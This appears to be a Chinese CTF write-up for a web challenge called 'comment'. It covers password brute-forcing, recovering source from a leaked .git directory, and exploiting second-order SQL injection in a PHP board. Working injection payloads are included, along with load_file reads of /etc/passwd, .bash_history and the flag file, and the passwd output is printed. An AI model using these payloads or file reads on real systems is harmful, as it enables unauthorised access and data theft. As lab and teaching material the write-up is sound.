comment

  1. 登陆界面提示:

    username: zhangwei
    password: zhangweixxx
    

    猜测后三位需要爆破,凭直觉觉得后三位应该是数字,直接开始爆破。爆破得到后三位是666

    登陆。

  2. 扫描站点,发现.git泄露

    githack一下,得到:

    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){ 
        header("Location: ./login.php");
        die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
        break;
    case 'comment':
        break;
    default:
        header("Location: ./index.php");
    }
    }
    else{
        header("Location: ./index.php");
    }
    ?>
    
    

    源码中,如果dowritecomment,就直接break,然而测试时可以知道,我们发帖时do=write,留言时do=comment,这说明上面的源码是不完整的。考虑恢复源码。

    用的是BugScanTeamGitHack,恢复时,用python解压了8e下的文件,得到了完整的源码:

    import zlib
    f = open("./f569f235780f24c42b60f50d528a03f7238c80","r").read()
    zlib.decompress(f)
    

    得到完整源码:

    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
    	header("Location: ./login.php");
    	die();
    }
    if(isset($_GET['do'])){
    	switch ($_GET['do'])
    	{
    		case 'write':
    		    $category = addslashes($_POST['category']);
    		    $title = addslashes($_POST['title']);
    		    $content = addslashes($_POST['content']);
    		    $sql = "insert into board            
    		    		set category = '$category',
    		    			title = '$title',                
    		    			content = '$content'";
    		    $result = mysql_query($sql);   
    		    header("Location: ./index.php");
    		    break;
    		case 'comment':
    		    $bo_id = addslashes($_POST['bo_id']);    
    		    $sql = "select category from board where id='$bo_id'";    
    		    $result = mysql_query($sql);    
    		    $num = mysql_num_rows($result);    
    		    if($num>0){
    		        $category = mysql_fetch_array($result)['category'];    
    		        $content = addslashes($_POST['content']);    
    		        $sql = "insert into comment
    		                set category = '$category',
    		                    content = '$content',
    		                    bo_id = '$bo_id'";
    		        $result = mysql_query($sql);
    		    }
    		    header("Location: ./comment.php?id=$bo_id"); 
    		    break;
    		default:
    		    header("Location: ./index.php");
    	}
    }else{
    	header("Location: ./index.php");
    	}
    ?>
    

    源码一看就知道是二次注入。二次注入需要满足的条件是:第一次插入表时进行了一定的过滤,但是之后从表中选出后进行其他操作时,没有进行过滤。按照这个点在源码中寻找,发现category存在二次注入。

    发表评论时,我们输入的评论会显示出来,可以猜测这里是一个回显的点。构造语句如下:

    insert into comment
    set category='1',content=(select database()),/*
    	content='*/#',
    	bo_id='$bo_id'
    

    注意这里注释符的使用,/*...*/注释中间一段,#注释这一行后面的内容,所以我们就可以通过content回显查询结果。

    在数据库里面找了一圈也没看见flag,但是发现load_file可以用,于是:

    insert into comment
    set category='1',content=(select load_file('/etc/passwd')),/*
    	content='*/#',
    	bo_id='$bo_id'
    

    得到:

    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false www:x:500:500:www:/home/www:/bin/bash 
    

    这里有个www用户,首先查看一下/home/www下的.bash_history:

    select load_file('/home/www/html/.bash_history'),得:

    cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start 
    

    从这些历史命令我们可以看出/tmp/html下是有.DS_Store文件的,所以:

    select load_file('/tmp/html/.DS_Store'),显示不完整,所以select hex(load_file('/tmp/html/.DS_Store')),得到的结果解码以后可以看到:

在这里插入图片描述

于是读这个文件:select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),或者select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值